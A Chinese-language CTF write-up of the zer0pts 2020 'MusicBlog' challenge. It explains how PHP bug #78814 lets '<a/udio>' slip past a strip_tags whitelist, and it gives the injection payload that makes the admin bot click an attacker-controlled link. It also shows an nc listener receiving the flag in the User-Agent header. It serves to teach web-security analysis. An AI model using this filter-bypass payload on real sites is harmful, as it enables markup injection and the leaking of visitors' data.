You can introduce favorite songs to friends with MusicBlog!

Challenge (URL)

题目文件: MusicBlog_637545797ab8638bffd877d7be2ec045.tar.gz

是一个Blog。在发布文章时可以选择是否公开,如果设置为公开,admin用户会自动访问该文章并点赞。写文章时可以使用[[URL]]语法,将其插入到句子中会展开成<audio controls src="URL"></audio>这样的audio元素。

首先,确认flag在哪。搜索zer0pts{ ,能够发现flag在worker/worker.js中,这是admin自动访问代码的一部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};

// (snipped)

await page.setUserAgent(flag);,会将User-Agent设置为flag。那么首先,考虑找到一个使用[[URL]]进行外部请求的方法,但是Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types,严格的CSP策略会禁止这样。

但是,admin会进行await page.click('#like');,如果能够将一个可控元素的id设置为like,就可以利用admin的click,考虑通过XSS将admin重定向访问到外部。

查看文章的单独页面post.php, 能够发现这里将文章内容作为参数,经过render_tags后返回值显示在页面上。

1
2
3
4
5

<div class="mt-3">
<?= render_tags($post['content']) ?>
</div>

render_tagsutils.php 中定义:

1
2
3
4
5
6
7
8
<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}

[[URL]]替换为<audio controls src="URL"></audio>之后,通过strip_tagsaudio 之外的标签消除来防止XSS。那如果使用[["></audio><script>alert(1)</script>]] 作为URL,经过这种处理之后就变成了<audio controls src=""></audio>alert(1)"></audio>,<script></script>都被删除了,做不了什么。

看一下Web server的Dockerfile,可以看到使用的是PHP 7.4.0, 截至2020年3月7日,最新版本为PHP 7.4.3,看起来稍微有点老,因此可以看一下PHP 7.4.0之后的PHP 7.4.1的ChangeLog

Standard:

  • Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).

可以看到修复了strip_tags的一个bug,详细说明见 https://bugs.php.net/bug.php?id=78814

Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers

When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.

For example, if is whitelisted, then a tag is also kept.

1
2
3
4
5
6
7
8
9
10
11
12
13
Test script:
---------------
<?php

echo strip_tags("<s/trong>b</strong>", "<strong>");

Expected result:
----------------
b

Actual result:
--------------
<s/trong>b</strong>

<strong> 作为白名单时,添加斜杠的<s/trong>没有被删除,原样输出。MusicBlog 中使用的是<audio>作为白名单,<a/udio>可以通过函数处理,并且<a/udio>会作为 超链接<a>被解析。

因此,利用这个bug,使用[["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]] 这样的内容的话,经过处理在文章中展开后是

1
<audio controls src=""></audio><a/udio href="(URL)" id="like">test</a/udio><audio a=""></audio>

这样admin自动去点击id为like的标签的话,会点击到我们可控的外部链接。

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received!
GET / HTTP/1.1

Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate
Accept-Language: en-US

参考资料

https://st98.github.io/diary/posts/2020-03-09-zer0pts-ctf-2020.html